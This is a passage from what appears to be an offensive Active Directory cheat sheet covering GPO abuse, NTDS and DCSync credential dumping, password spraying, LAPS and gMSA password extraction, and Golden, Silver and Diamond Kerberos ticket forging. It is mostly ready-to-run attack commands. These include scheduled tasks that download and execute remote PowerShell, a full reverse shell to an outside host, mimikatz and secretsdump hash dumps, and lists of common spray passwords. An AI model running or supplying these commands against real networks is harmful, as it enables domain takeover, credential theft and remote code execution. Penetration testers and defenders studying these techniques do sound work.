If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at `Machine\Preferences\ScheduledTasks`.
:warning: Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: `gpupdate /force`.
### Find vulnerable GPO
Look a GPLink where you have the **Write** right.
```powershell
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
```
### Abuse GPO with SharpGPOAbuse
```powershell
# Build and configure SharpGPOAbuse
$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
$ Install-Package CommandLineParser -Version 1.9.3.15
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll
# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
```
### Abuse GPO with PowerGPOAbuse
* https://github.com/rootSySdk/PowerGPOAbuse
```ps1
PS> . .\PowerGPOAbuse.ps1
# Adding a localadmin
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
# Assign a new right
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
# Adding a New Computer/User script
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
# Create an immediate task
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'
```
### Abuse GPO with pyGPOAbuse
```powershell
$ git clone https://github.com/Hackndo/pyGPOAbuse
# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user
```
### Abuse GPO with PowerView
```powershell
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
```
### Abuse GPO with StandIn
```powershell
# Add a local administrator
StandIn.exe --gpo --filter Shards --localadmin user002
# Set custom right to a user
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
# Execute a custom command
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
```
## Dumping AD Domain Credentials
You will need the following files to extract the ntds :
- NTDS.dit file
- SYSTEM hive (`C:\Windows\System32\SYSTEM`)
Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`.
- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.
However you can change the location to a custom one, you will need to query the registry to get the current location.
```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
```
### DCSync Attack
DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
* DCSync only one user
```powershell
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
```
* DCSync all users of the domain
```powershell
mimikatz# lsadump::dcsync /domain:htb.local /all /csv
crackmapexec smb 10.10.10.10 -u 'username' -p 'password' --ntds
crackmapexec smb 10.10.10.10 -u 'username' -p 'password' --ntds drsuapi
```
> :warning: OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts.
### Volume Shadow Copy
The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process.
* [windows-commands/vssadmin](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/vssadmin)
```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```
* [windows-commands/ntdsutil](https://learn.microsoft.com/fr-fr/troubleshoot/windows-server/identity/use-ntdsutil-manage-ad-files)
```powershell
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```
* [CrackMapExec VSS module](https://wiki.porchetta.industries/smb-protocol/obtaining-credentials/dump-ntds.dit)
```powershell
cme smb 10.10.0.202 -u username -p password --ntds vss
```
### Extract hashes from ntds.dit
then you need to use [secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit
```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```
[secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) also works remotely
```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```
* `-pwd-last-set`: Shows pwdLastSet attribute for each NTDS.DIT account.
* `-user-status`: Display whether or not the user is disabled.
### Using Mimikatz sekurlsa
Dumps credential data in an Active Directory domain when run on a Domain Controller.
:warning: Requires administrator access with debug or Local SYSTEM rights
```powershell
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
```
### Crack NTLM hashes with hashcat
Useful when you want to have the clear text password or when you need to make stats about weak passwords.
Recommended wordlists:
- [Rockyou.txt](https://weakpass.com/wordlist/90)
- [Have I Been Pwned founds](https://hashmob.net/hashlists/info/4169-Have%20I%20been%20Pwned%20V8%20(NTLM))
- [Weakpass.com](https://weakpass.com/)
- Read More at [Methodology and Resources/Hash Cracking.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md)
```powershell
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2
# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
```
:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
- [hashmob.net](https://hashmob.net)
- [crackstation.net](https://crackstation.net)
- [hashes.com](https://hashes.com/en/decrypt/hash)
### NTDS Reversible Encryption
`UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED` ([0x00000080](http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm)), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.
The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin.
This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.
* List users with "Store passwords using reversible encryption" enabled
```powershell
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
```
The password retrieval is already handled by [SecureAuthCorp/secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) and mimikatz, it will be displayed as CLEARTEXT.
## User Hunting
Sometimes you need to find a machine where a specific user is logged in.
You can remotely query every machines on the network to get a list of the users's sessions.
* CrackMapExec
```ps1
cme smb 10.10.10.0/24 -u Administrator -p 'P@ssw0rd' --sessions
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [+] Enumerated sessions
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG \\10.10.10.10 User:Administrator
```
* Impacket Smbclient
```ps1
$ impacket-smbclient Administrator@10.10.10.10
# who
host: \\10.10.10.10, user: Administrator, active: 1, idle: 0
```
* PowerView Invoke-UserHunter
```ps1
# Find computers were a Domain Admin OR a specified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
```
## Password spraying
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
Most of the time the best passwords to spray are :
- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
- `Welcome1`/`Welcome01`
- $Companyname1 :`$Microsoft1`
- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
### Kerberos pre-auth bruteforcing
Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
* Username bruteforce
```powershell
root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
```
* Password bruteforce
```powershell
root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
```
* Password spray
```powershell
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
```
### Spray a pre-generated passwords list
* Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
```powershell
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
```
* Using `DomainPasswordSpray` to spray a password against all users of a domain.
```powershell
# https://github.com/dafthack/DomainPasswordSpray
Invoke-DomainPasswordSpray -Password Summer2021!
# /!\ be careful with the account lockout !
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
```
* Using `SMBAutoBrute`.
```powershell
Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
```
### Spray passwords against the RDP service
* Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
```powershell
git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```
* Using [hydra](https://github.com/vanhauser-thc/thc-hydra) and [ncrack](https://github.com/nmap/ncrack) to target RDP services.
```powershell
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
```
### BadPwdCount attribute
> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
```powershell
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet: <never>
LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet: <never>
```
## Password in AD User comment
```powershell
$ crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
GET-DESC... 10.0.2.11 389 dc01 [+] Found following users:
GET-DESC... 10.0.2.11 389 dc01 User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.0.2.11 389 dc01 User: krbtgt description: Key Distribution Center Service Account
```
There are 3-4 fields that seem to be common in most AD schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.
```powershell
enum4linux | grep -i desc
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
```
or dump the Active Directory and `grep` the content.
```powershell
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```
## Password of Pre-Created Computer Account
When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**.
```ps1
# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
```
* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)
## Reading LAPS Password
> Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.
### Determine if LAPS is installed
```ps1
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
```
### Extract LAPS password
> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
- From Windows:
* adsisearcher (native binary on Windows 8+)
```powershell
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
```
* [PowerView](https://github.com/PowerShellEmpire/PowerTools)
```powershell
PS > Import-Module .\PowerView.ps1
PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
```
* [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)
```powershell
$ Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
example.domain.local dbZu7;vGaI)Y6w1L 02/21/2021 22:29:18
$ Find-LAPSDelegatedGroups
$ Find-AdmPwdExtendedRights
```
* Powershell AdmPwd.PS
```powershell
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
```
- From Linux:
* [pyLAPS](https://github.com/p0dalirius/pyLAPS) to **read** and **write** LAPS passwords:
```bash
# Read the password of all computers
./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
# Write a random password to a specific computer
./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
```
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec):
```bash
crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
```
* [LAPSDumper](https://github.com/n00py/LAPSDumper)
```bash
python laps.py -u 'user' -p 'password' -d 'domain.local'
python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
```
* ldapsearch
```bash
ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
```
### Grant LAPS Access
The members of the group **"Account Operator"** can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password
```ps1
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
```
## Reading GMSA Password
> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.
### GMSA Attributes in the Active Directory
* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
### Extract NT hash from the Active Directory
* [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) (C#)
```ps1
# https://github.com/rvazarkar/GMSAPasswordReader
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
```
* [gMSADumper (Python)](https://github.com/micahvandeusen/gMSADumper)
```powershell
# https://github.com/micahvandeusen/gMSADumper
python3 gMSADumper.py -u User -p Password1 -d domain.local
```
* Active Directory Powershell
```ps1
$gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword
```
* [gMSA_Permissions_Collection.ps1](https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1) based on Active Directory PowerShell module
## Forging Golden GMSA
> One notable difference between a **Golden Ticket** attack and the **Golden GMSA** attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.
:warning: You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and `ManagedPasswordIntervalInDays`, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.
* Using [GoldenGMSA](https://github.com/Semperis/GoldenGMSA)
```ps1
# Enumerate all gMSAs
GoldenGMSA.exe gmsainfo
# Query for a specific gMSA
GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112
# Dump all KDS Root Keys
GoldenGMSA.exe kdsinfo
# Dump a specific KDS Root Key
GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb
# Compute gMSA password
# --sid <gMSA SID>: SID of the gMSA (required)
# --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
# --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
```
## Kerberos Tickets
Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.
There are two types of tickets in Kerberos:
* **Ticket Granting Ticket** (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key.
* **Service Ticket** (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key.
### Dump Kerberos Tickets
* Mimikatz: `sekurlsa::tickets /export`
* Rubeus
```ps1
# List available tickets
Rubeus.exe triage
# Dump one ticket, the output is in Kirbi format
Rubeus.exe dump /luid:0x12d1f7
```
### Replay Kerberos Tickets
* Mimikatz: `mimikatz.exe "kerberos::ptc C:\temp\TGT_Administrator@lab.local.ccache"`
* CrackMapExec: `KRB5CCNAME=/tmp/administrator.ccache crackmapexec smb 10.10.10 -u user --use-kcache`
### Convert Kerberos Tickets
In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets.
* A credential cache, or `"ccache"` is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request.
* The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a `"kirbi"` cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed.
While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using:
* kekeo: `misc::convert ccache ticket.kirbi`
* impacket: `impacket-ticketConverter SRV01.kirbi SRV01.ccache`
### Pass-the-Ticket Golden Tickets
Forging a TGT require:
* the `krbtgt` NT hash
* since recently, we cannot use a non-existent account name as a result of `CVE-2021-42287` mitigations
> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.
#### Using Mimikatz
```powershell
# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt
# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```
#### Using Meterpreter
```powershell
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt
# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```
#### Using a ticket on Linux
```powershell
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi
# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```
If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.
```powershell
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```
Mitigations:
* Hard to detect because they are legit TGT tickets
* Mimikatz generate a golden ticket with a life-span of 10 years
### Pass-the-Ticket Silver Tickets
Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.
```powershell
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi
root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```
Interesting services to target with a silver ticket :
| Service Type | Service Silver Tickets | Attack |
|---------------------------------------------|------------------------|--------|
| WMI | HOST + RPCSS | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"` |
| PowerShell Remoting | CIFS + HTTP + (wsman?) | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| WinRM | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| Scheduled Tasks | HOST | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` |
| Windows File Share (CIFS) | CIFS | `dir \\dc01\c$` |
| LDAP operations including Mimikatz DCSync | LDAP | `lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt` |
| Windows Remote Server Administration Tools | RPCSS + LDAP + CIFS | / |
Mitigations:
* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.
### Pass-the-Ticket Diamond Tickets
> Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key
Require:
* krbtgt NT Hash
* krbtgt AES key
```ps1
ticketer.py -request -domain 'lab.local' -user 'domain_user' -password 'password' -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser'
Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS
```
### Pass-the-Ticket Sapphire Tickets
> Requesting the target user's PAC with `S4U2self+U2U` exchange during TGS-REQ(P) (PKINIT).
The goal is to mimic the PAC field as close as possible to a legitimate one.
Require:
* [Impacket PR#1411](https://github.com/SecureAuthCorp/impacket/pull/1411)
* krbtgt AES key
```ps1
# baduser argument will be ignored
ticketer.py -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'
```
## Kerberoasting
> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
